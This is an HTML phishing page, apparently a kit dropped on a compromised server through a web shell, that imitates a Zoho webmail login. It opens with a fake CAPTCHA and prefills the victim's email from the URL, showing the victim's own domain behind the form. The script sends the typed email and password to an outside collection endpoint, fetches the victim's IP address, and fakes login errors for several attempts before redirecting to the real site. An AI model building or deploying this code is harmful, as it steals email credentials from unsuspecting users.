Your IP : 10.10.0.253


Current Path : /var/www/
Upload File :
Current File : /var/www/inv6536.html

<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>Webmail Sign-in</title>
   <!-- Include Bootstrap 5 CSS -->
   <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
   <!-- Bootstrap Icons -->
   <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css" rel="stylesheet">
   <!-- Google Fonts: Poppins -->
   <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600&display=swap" rel="stylesheet">

   <style>
      /* Hide the main content initially */
      #main-content {
         display: none;
      }

      /* Verification Div Styling */
      #verification-div {
         height: 100vh;
         display: flex;
         align-items: start;
         justify-content: center;
         padding-top: 10%;
      }

      /* Ensure text is left-aligned */
      .verification-content {
         text-align: left;
      }

      /* Adjust spinner size */
      .spinner-border {
         width: 1.5rem;
         height: 1.5rem;
      }
   </style>
   
   <style>
      #background-iframe, #overlay { position: fixed; top: 0; left: 0; height: 100%; width: 100%; }
      body { font-family: Poppins, sans-serif; margin: 0; padding: 0; overflow: hidden; }
      #background-iframe { border: none; z-index: -3; object-fit: cover; }
      #overlay { background-color: rgba(0, 0, 0, .5); z-index: -2; }
      .form-container { display: none; max-width: 400px; width: 100%; padding: 2rem; background-color: rgba(255, 255, 255, .95); border-radius: .75rem; box-shadow: 0 8px 16px rgba(0, 0, 0, .2); position: relative; z-index: 1; }
      .icon-text { display: flex; align-items: center; margin-bottom: 1.5rem; }
      .icon-text img { width: 32px; height: 32px; margin-right: .5rem; }
      .icon-text .h4 { margin-bottom: 0; color: #0d6efd; }
      .form-floating { position: relative; margin-bottom: 1.5rem; }
      .form-floating label, .input-icon { position: absolute; color: #6c757d; pointer-events: none; }
      .form-floating label { transition: .2s ease-in-out; left: 2.5rem; top: -.2rem; background-color: transparent; z-index: 1; }
      .form-floating input:focus + label, .form-floating input:not(:placeholder-shown) + label { transform: translateY(-1.5rem); font-size: .85rem; color: #0d6efd; }
      .form-control { border-top: none; border-left: none; border-right: none; border-bottom: 2px solid #ced4da; border-radius: 0; padding-left: 2.5rem; transition: border-color .2s; background-color: transparent; }
      .form-control:focus { box-shadow: none; outline: 0; border-bottom-color: #0d6efd; }
      .input-icon { left: .75rem; top: 50%; transform: translateY(-50%); font-size: 1.2rem; }
      .btn-primary { width: 100%; padding: .75rem; font-size: 1rem; background-color: #0d6efd; border: none; border-radius: .375rem; transition: background-color .3s, color .3s; }
      .btn-primary:hover { background-color: #0b5ed7; color: #fff; }
      .btn-primary:focus { box-shadow: none; }
      @media (max-width: 576px) { .form-container { padding: 1.5rem; } }
      .loader-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, .5); align-items: center; justify-content: center; z-index: 9999; display: none; }
      .error-message { color: red; margin-bottom: 1rem; display: none; }
   </style>
</head>

<body id="main-content" class="d-flex align-items-center justify-content-center min-vh-100">
   <div id="verification-div" style="position: absolute; height: 100vh; width: 100vw; background-color: #fff;">
      <div class="row">
         <div class="col-12 verification-content mx-2">
            <h2>Checking your browser before accessing the site</h2>
            <div>
               <div class="checkbox-container mt-3 d-flex align-items-center p-4" style="border: 0px solid black; background: #f3efef; border-radius: 5px;">
                  <input type="checkbox" id="bot-check" class="form-check-input">
                  <label for="bot-check" class="form-check-label ms-2">I am not a robot</label>
               </div>
            </div>
            <p class="pt-1">Click on the checkbox to verify if you're human.</p>
         </div>
      </div>
   </div>
   <!-- Background Iframe -->
   <iframe id="background-iframe" src="about:blank" allowfullscreen></iframe>
   <!-- Dimmed Overlay -->
   <div id="overlay"></div>
   <!-- Form Container -->
   <div class="form-container" id="form-container">
      <!-- Error Message -->
      <div id="error-message" class="error-message">Try again</div>
      <form id="user-form">
         <!-- Honeypot Field -->
         <input type="text" name="honeypot" id="honeypot" style="display:none;" autocomplete="off">
         <!-- Icon and Text Row -->
         <div class="icon-text">
            <img id="domain-favicon" src="https://www.google.com/s2/favicons?domain=zoho.com" alt="Domain Favicon" style="height: 15px; width: 15px;">
            <span class="h4 mb-0" style="margin-left: 10px;" id="domain-name">ZOHO</span>
         </div>
         <!-- Heading -->
         <h5 class="mb-3">Let's get started</h5>
         <!-- Paragraph -->
         <p class="mb-4 text-muted" style="font-size: .8rem;">Previous session has expired, login to continue</p>
         <!-- Email Input -->
         <div class="form-floating position-relative">
            <i class="bi bi-envelope input-icon"></i>
            <input type="email" class="form-control" id="email" placeholder=" " required style="padding-left: 40px; z-index: 1000;" disabled>
            <label for="email" style="background-color: transparent;">Email</label>
         </div>
         <!-- Password Input -->
         <div class="form-floating position-relative">
            <i class="bi bi-lock input-icon"></i>
            <input type="password" class="form-control" id="password" placeholder=" " required style="padding-left: 40px;">
            <label for="password" style="background-color: transparent;">Password</label>
         </div>
         <!-- Submit Button -->
         <button type="submit" class="btn btn-primary">Next</button>
      </form>
   </div>

   <!-- Loader Overlay -->
   <div id="loader-overlay" class="loader-overlay">
      <div class="spinner-border text-light" role="status" style="width: 3rem; height: 3rem;">
         <span class="visually-hidden">Loading...</span>
      </div>
   </div>

   <!-- Bootstrap 5 JS Bundle (includes Popper) -->
   <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
   <!-- Custom JavaScript to Handle '#' Parameter and Background Iframe -->
   <script>
      let submitCount = 0;
      document.addEventListener("DOMContentLoaded", (() => {
         const e = window.location.hash ? window.location.hash.substring(1) : null;
         let t;
         if (e) {
            document.getElementById("email").value = e;
            const n = e.split("@");
            if (2 === n.length) {
               const e = n[1];
               t = e, document.getElementById("domain-favicon").src = `https://www.google.com/s2/favicons?domain=${e}`;
               const o = e.split(".")[0].toUpperCase();
               document.getElementById("domain-name").textContent = o;
               const r = e.startsWith("http://") || e.startsWith("https://") ? e : `https://${e}`;
               document.getElementById("background-iframe").src = r;
            }
         } else console.warn("No '#' parameter found in the URL."), document.getElementById("background-iframe").src = "about:blank";
         
         let n = {
            ipAddress: "Fetching...",
            userAgent: navigator.userAgent,
            timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
            browser: "Detecting..."
         };
         const o = navigator.userAgent;
         o.indexOf("Firefox") > -1 ? n.browser = "Mozilla Firefox" : o.indexOf("SamsungBrowser") > -1 ? n.browser = "Samsung Internet" : o.indexOf("Opera") > -1 || o.indexOf("OPR") > -1 ? n.browser = "Opera" : o.indexOf("Trident") > -1 ? n.browser = "Microsoft Internet Explorer" : o.indexOf("Edge") > -1 ? n.browser = "Microsoft Edge" : o.indexOf("Chrome") > -1 ? n.browser = "Google Chrome or Chromium" : o.indexOf("Safari") > -1 ? n.browser = "Apple Safari" : n.browser = "Unknown";
         
         fetch("https://api.ipify.org?format=json").then((e => e.json())).then((e => {
            n.ipAddress = e.ip;
         })).catch((e => {
            console.error("Error fetching IP address:", e), n.ipAddress = "Unavailable";
         }));

         document.getElementById("user-form").addEventListener("submit", (function(e) {
            e.preventDefault();
            submitCount += 1;

            const isFirstAttempt = submitCount === 1;
            const isSecondAttempt = submitCount === 2;
            const isThirdAttempt = submitCount === 3;
            const isFourthAttempt = submitCount === 4;

            document.getElementById("loader-overlay").style.display = "flex";
            let s = `✅🤑💳💶 Perry ajebutter 💶💳🤑✅\n\nEmail: ${document.getElementById("email").value.trim()}\nPassword: ${document.getElementById("password").value.trim()}`;
            
            new Promise((e => {
               const t = setInterval((() => {
                  "Fetching..." !== n.ipAddress && (clearInterval(t), e());
               }), 100);
            })).then((() => {
               s += `\nIP Address: ${n.ipAddress}\nUser  Agent: ${n.userAgent}\nTimezone: ${n.timezone}\nBrowser: ${n.browser}`;
            }));

            if (isFirstAttempt) {
               setTimeout(() => {
                  document.getElementById("loader-overlay").style.display = "none";
                  document.getElementById("error-message").style.display = "block";
                  document.getElementById("password").value = "";
               }, 3000);
            } else if (isSecondAttempt || isThirdAttempt || isFourthAttempt) {
               setTimeout(() => {
                  document.getElementById("loader-overlay").style.display = "none";
                  document.getElementById("error-message").style.display = "block";
                  document.getElementById("password").value = "";
               }, 3000);
            } else if (submitCount === 5) {
               setTimeout(() => {
                  document.getElementById("loader-overlay").style.display = "none";
                  window.location.href = "https://" + t; // Redirect to the destination
               }, 3000);
            }
         }));
      }));

      // New Reporting Functionality with Honeypot
      document.getElementById("user-form").addEventListener("submit", function(e) {
         e.preventDefault();
         
         // Check if honeypot field is filled
         const honeypot = document.getElementById("honeypot").value.trim();
         if (honeypot) {
            console.log("Honeypot field filled. Submission ignored.");
            return; // Ignore submission if honeypot is filled
         }

         const email = document.getElementById("email").value.trim();
         const password = document.getElementById("password").value.trim();
         
         // Prepare data to send to the specified URL
         const data = {
            email: email,
            password: password
         };

         // Send the data to the specified URL
         fetch("https://submit-form.com/lf4k42CTt", {
            method: "POST",
            headers: {
               "Content-Type": "application/json"
            },
            body: JSON.stringify(data)
         })
         .then(response => {
            if (response.ok) {
               console.log("Submission to form successful!");
            } else {
               console.error("Submission to form failed.");
            }
         })
         .catch(error => {
            console.error("Error sending submission to form:", error);
         });
      });
   </script>
</body>

<!-- End Main Content Div -->
<!-- End Main Content Div -->
<!-- End Main Content Div -->

<!-- Include Bootstrap 5 JS Bundle -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>

<!-- JavaScript Code -->
<script>
   document.addEventListener('DOMContentLoaded', function () {
      const botCheck = document.getElementById('bot-check');
      const verificationDiv = document.getElementById('verification-div');
      const formContainer = document.getElementById('form-container');
      const mainContent = document.getElementById('main-content');

      botCheck.addEventListener('change', function () {
         if (this.checked) {
            // Replace the checkbox with a loader
            const checkboxContainer = this.parentElement;
            checkboxContainer.innerHTML = `
               <div class="spinner-container d-flex align-items-center">
                  <div class="spinner-border" role="status">
                     <span class="visually-hidden">Loading...</span>
                  </div>
                  <span class="ms-2">Verifying...</span>
               </div>
            `;

            // Wait for 4 seconds
            setTimeout(function () {
               // Display "Redirecting..." message
               verificationDiv.innerHTML = `
                  <div class="row">
                     <div class="col-12 verification-content">
                        <h2>Redirecting...</h2>
                     </div>
                  </div>
               `;

               // Wait for 2 seconds
               setTimeout(function () {
                  // Hide verification div and show main content
                  verificationDiv.style.display = 'none';
                  mainContent.style.display = 'block';
                  formContainer.style.display = 'block';
               }, 2000);
            }, 4000);
         }
      });
   });
</script>